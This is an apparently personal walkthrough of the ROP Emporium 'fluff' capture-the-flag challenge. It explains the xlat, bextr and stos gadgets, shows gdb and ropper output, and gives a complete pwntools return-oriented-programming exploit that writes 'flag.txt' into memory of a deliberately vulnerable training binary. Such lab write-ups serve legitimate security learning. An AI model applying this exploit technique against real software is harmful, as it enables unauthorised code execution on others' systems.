6. fluff
the sixth challenge, the most difficult challenge by far and it took me roughly 2 days to complete.
this challenge is similar to write4
but now, we need to use
more uncommon instructions to write the string into memory, the function
print_file
is still present in the binary.
the binary doesn't contain the usual instructions such as mov [reg], reg
for
us to use to write into memory, so let's inspect into the binary and see what
we can do.
gef➤ i func
All defined functions:
Non-debugging symbols:
0x00000000004004d0 _init
0x0000000000400500 pwnme@plt
0x0000000000400510 print_file@plt
0x0000000000400520 _start
0x0000000000400550 _dl_relocate_static_pie
0x0000000000400560 deregister_tm_clones
0x0000000000400590 register_tm_clones
0x00000000004005d0 __do_global_dtors_aux
0x0000000000400600 frame_dummy
0x0000000000400607 main
0x0000000000400617 usefulFunction
0x0000000000400628 questionableGadgets
0x0000000000400640 __libc_csu_init
0x00000000004006b0 __libc_csu_fini
0x00000000004006b4 _fini
what is questionableGadgets
??
gef➤ disas questionableGadgets
Dump of assembler code for function questionableGadgets:
0x0000000000400628 <+0>: xlat BYTE PTR ds:[rbx]
0x0000000000400629 <+1>: ret
0x000000000040062a <+2>: pop rdx
0x000000000040062b <+3>: pop rcx
0x000000000040062c <+4>: add rcx,0x3ef2
0x0000000000400633 <+11>: bextr rbx,rcx,rdx
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: stos BYTE PTR es:[rdi],al
0x000000000040063a <+18>: ret
0x000000000040063b <+19>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
what is xlat
??? and what is bextr
and stos
?? that's the question i got
from reading what's inside the function, let's read the documentation for them.
what is xlat?
xlat or Table Look-up Translation is an instruction that uses [rbx]
for an
address to memory and al
for an index and then set the value into al
register
essentially it's like an array we will find in a typical programming language.
for example, we have rbx
point to 0x400000
and al
as a value of 0x4
,
if we have a string in memory at 0x400000
that is "Hello, Ropper"
we will
get "o"
or 0x6f
set to al
register after the instruction is completed.
what is bextr?
bextr or Bit Field Extract is an instruction that extracts a bits from a source register (second operand) and put it into a destination register where length and offset is set on the third operand where bit 7:0 is the offset and bit 15:8 is the length.
an example from stackoverflow
Say the starting bit is 5 and the length is 9. we have
Input : 11010010001110101010110011011010 = 0xd23aacda
|-------|
\
\
\
v
|-------|
Output: 00000000000000000000000101100110 = 0x00000166
what is stos?
stos or Store String is an instruction that stores al
register into the address
of [rdi]
. this instruction is pretty straightforward and self-explainatory.
so, we have an instruction to get a string to a memory from [rbx]
to al
,
we have an instruction to get value of rcx
into rbx
and an instruction to
store al
into [rdi]
.
we can see where this is going. we can write al
into specific memory address
with [rdi]
, we can set al
to something with [rbx + al]
and lastly, we can
control rbx
with bextr
, all good right? well not quite...
how do we know where to point rbx
to get a string we want???
i stuck here for a while and i came up with an idea, how about we select the string from the printed strings that.
┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ ./fluff
fluff by ROP Emporium
x86_64
You know changing these strings means I have to rewrite my solutions...
>
as you can see here we have all the characters we wanted for the string flag.txt
can we just point rbx
to that right? well, as simple as it might sound it's actually
impossible for me to do since the binary has patially RELRO, and those strings
live inside an imported library, ahhhhhhhhhh...
but wait, we can just leak the library address right since we can do pretty much all we want, well, the binary doesn't import any other things except the library that is provided by the challenge.
so we can't leak the address of the library to point it to the printed strings in the beginning.
i stuck here for the rest of the day.
day 2, my co-worker (shout out to him), told me that since we can point to anywhere we want just point it to the address in the binary itself, since random addresses can contain a byte that represent a character that we wanted, and THAT IS BRILLIANT.
so i tried searching with ropper
and there it is!
┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ ropper --string "f|l|a|g|.|t|x" -f fluff | awk '{ print $2, $1 }' | sort
=======
. 0x0040024e
. 0x00400251
. 0x004003c9
. 0x004003fd
. 0x00400400
. 0x00400434
. 0x00400436
. 0x00400439
----- -------
a 0x004003d6
a 0x0040040c
a 0x00400411
a 0x00400418
a 0x0040041a
a 0x00400424
f 0x004003c4
f 0x004003c7
f 0x004003c8
f 0x004003e2
f 0x004003f4
g 0x004003cf
g 0x004007a0
l 0x00400239
l 0x0040023f
l 0x00400242
l 0x004003c1
l 0x004003c5
l 0x004003e4
l 0x004003f9
l 0x00400405
t 0x004003d5
t 0x004003d8
t 0x004003e0
t 0x004003f1
t 0x0040040b
t 0x0040040e
t 0x00400419
t 0x00400423
t 0x00400426
t 0x004006cb
t 0x004006ce
Value Address
x 0x00400246
x 0x00400248
x 0x004006c8
x 0x00400725
x 0x00400751
x 0x00400778
x 0x004007bc
Strings
that's all we wanted for the string flag.txt
, let's craft the payload!
from pwn import *
pop_rdi = 0x4006a3
stos = 0x400639
xlat = 0x400628
# pop rdx, pop rcx, add rcx,0x3ef2, bextr rbx,rcx,rdx
bextr = 0x40062a
add_rcx = 0x3ef2
print_file = 0x400510
data_sec = 0x601028
padding = b"x" * 40
p = process("./fluff")
gdb.attach(p, """
break *0x40062a
break *0x400628
break print_file
""")
payload = padding + p64(bextr) + p64(0x4000) + p64(0x004003c4 - add_rcx)
payload += p64(xlat) + p64(pop_rdi) + p64(data_sec) + p64(stos)
p.sendline(payload)
p.interactive()
let's can try this and see if it works.
0x400626 <usefulFunction+15> pop rbp
0x400627 <usefulFunction+16> ret
● 0x400628 <questionableGadgets+0> xlat BYTE PTR ds:[rbx]
→ 0x400629 <questionableGadgets+1> ret
↳ 0x4006a3 <__libc_csu_init+99> pop rdi
0x4006a4 <__libc_csu_init+100> ret
0x4006a5 nop
0x4006a6 cs nop WORD PTR [rax+rax*1+0x0]
0x4006b0 <__libc_csu_fini+0> repz ret
0x4006b2 add BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7fff5414a80a → in eax, dx
[#6] 0x7fb4d4414000 → <_rtld_global+0> rcl BYTE PTR [rdx+0x41], 0xd4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rax
rax 0x67 0x67
wait, why do we get 0x67
it should be 0x66
what's going on? let's try that
again and see the register before xlat
maybe rax
is something before xlat
and that might interfere with our payload.
●→ 0x400628 <questionableGadgets+0> xlat BYTE PTR ds:[rbx]
0x400629 <questionableGadgets+1> ret
● 0x40062a <questionableGadgets+2> pop rdx
0x40062b <questionableGadgets+3> pop rcx
0x40062c <questionableGadgets+4> add rcx, 0x3ef2
0x400633 <questionableGadgets+11> bextr rbx, rcx, rdx
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400628 in questionableGadgets (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400628 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7fff5414a80a → in eax, dx
[#6] 0x7fb4d4414000 → <_rtld_global+0> rcl BYTE PTR [rdx+0x41], 0xd4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rax
rax 0xb 0xb
i see, that's why we don't get 0x66
or f
, the offset might point to something else,
so let's calculate where we are going to point to before xlat
is executed by
subtracting 0xb
from the address.
...
payload = padding + p64(bextr) + p64(0x4000) + p64(0x004003c4 - add_rcx - 0xb)
...
0x400626 <usefulFunction+15> pop rbp
0x400627 <usefulFunction+16> ret
● 0x400628 <questionableGadgets+0> xlat BYTE PTR ds:[rbx]
→ 0x400629 <questionableGadgets+1> ret
↳ 0x4006a3 <__libc_csu_init+99> pop rdi
0x4006a4 <__libc_csu_init+100> ret
0x4006a5 nop
0x4006a6 cs nop WORD PTR [rax+rax*1+0x0]
0x4006b0 <__libc_csu_fini+0> repz ret
0x4006b2 add BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7ffc6a50100a → rex add BYTE PTR [rax], al
[#6] 0x7feda750d000 → <_rtld_global+0> shl dl, 0x50
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rax
rax 0x66 0x66
yeah! that's what we wanted now let's craft the full payload.
remember that everytime we get a character out, our al
is gonna change so we
have to calculate for the last string we wrote into the memory.
from pwn import *
pop_rdi = 0x4006a3
stos = 0x400639
xlat = 0x400628
# pop rdx, pop rcx, add rcx,0x3ef2, bextr rbx,rcx,rdx
bextr = 0x40062a
add_rcx = 0x3ef2
print_file = 0x400510
data_sec = 0x601028
padding = b"x" * 40
p = process("./fluff")
gdb.attach(p, """
break *0x40062a
break *0x400628
break print_file
""")
def writeToMem(addr, index, al = 0xb):
return p64(bextr) + p64(0x4000) + p64(addr - add_rcx - al) + p64(xlat) + p64(pop_rdi) + p64(data_sec + index) + p64(stos)
flag_file = "flag.txt"
flagList = [0x004003c4, 0x00400239, 0x004003d6, 0x004003cf, 0x0040024e, 0x004003d5, 0x00400246 ,0x004003d5]
payload = padding + writeToMem(flagList[0], 0)
for i, char in enumerate(flag_file):
# we already wrote the first character, and we only loop for the recently added character
if i == len(flag_file) - 1:
break
payload += writeToMem(flagList[i + 1], i + 1, ord(char))
payload += p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
p.interactive()
┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ python solve.py
[+] Starting local process './fluff': pid 58410
[*] running in new terminal: ['/usr/bin/gdb', '-q', './fluff', '58410', '-x', '/tmp/pwncifz4jv2.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
fluff by ROP Emporium
x86_64
You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
finally, we got the flag, i learnt a really neat trick from this challenge, to be honest, this challenge was very difficult for me but it's pretty fun using uncommon instructions so yeah nicesu nicesu!!